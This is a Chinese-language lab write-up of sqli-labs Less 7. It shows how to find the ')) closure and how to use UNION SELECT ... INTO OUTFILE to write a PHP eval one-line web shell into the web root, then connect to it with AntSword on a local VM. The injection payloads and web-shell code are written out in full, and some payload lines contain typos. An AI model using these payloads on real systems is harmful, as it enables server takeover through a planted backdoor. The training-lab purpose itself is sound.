sqli-labs靶场 less 7

发布于:2025-03-30 ⋅ 阅读:(34) ⋅ 点赞:(0)


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 7 mysql文件上传拿web shell

  • 题目类型: 字符型 ’ )) 闭合(无数据回显,无具体报错)

id=1

id=1'

id=1’
报错

在这里插入图片描述

id=1’’
回显正常页面
可以看到页面呈规律性变化,大概率单引号闭合

在这里插入图片描述

id=1’–+
–+ 注释后面的语句,检验闭合方式是否正确
报错,说明闭合式不完全是单引号,单引号后面应该跟着其他符号

在这里插入图片描述

尝试:在单引号后面加双引号或者单引号或者括号,不断尝试,直至正常回显
id=1’))–+
回显正常,说明’))是闭合符
在这里插入图片描述


这道题无回显,无具体报错信息(只有固定报错提示),并且根据正确语法页面提示,使用mysql文件上传

我们得先了解mysql文件上传拿web shell的知识

此题基本上实战无法完成,环境要求苛刻

mysql文件上传要点( 权限,完整上传路径 ):

  • show variables like’%secure%'; 用来查看mysql是否有读写文件权限;
    在这里插入图片描述

要点1.数据库的fle权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;

secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

secure_file_priv=null 不允许导入导出
secure_file_priv=具体文件路径 只允许从这个路径导入导出
secure_file_priv=‘ ’ 可以从任意路径导入导出

要点2. into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径


文件上传指令

?id=-1’)) union select 1,“<?php @eval($ PosT['password']);?>”,3 into outfile “D:\\phpstudy_pro\www\\ben.php”–+

  • <?php @eval($_POST[password"]);?> //为一句话木马
    • password为预留密码
    • D:\\phpstudy_pro\WWW为文件路径
    • ben.php为新插入的文件名

开始做题
预处理mysql上传文件所需的环境

  • 找到mysql文件夹下的my.ini配置文件,如果有secure_file_priv,则修改,要不没有secure_file_priv,则自行添加
    在这里插入图片描述
  • 改成可以从任意路径导入导出 secure_file_priv=’ ’
    在这里插入图片描述
  • 记得重启数据库才生效
    在这里插入图片描述

环境处理好,咱们开始sql注入了

id=1'))  union select 1,2, " <?php @eval($_POST['123'] ); ?>"  into outfile 'C:\\SoftWare\\phpStudy_64\\phpstudy_pro\\WWW\\muma.php' --+

页面输入显示固定错误提示,但是已经成功上传木马文件
在这里插入图片描述
上传成功
在这里插入图片描述
内容如下,<?php @eval($_POST['123'] ); ?>这句话是关键,前面的数据不会影响解析

在这里插入图片描述
本人靶场是部署在虚拟机下
打开中国蚁剑,添加数据,连接
在这里插入图片描述

可以先测试连接
在这里插入图片描述

测试连接成功,再点击添加,可以看到成功拿下
在这里插入图片描述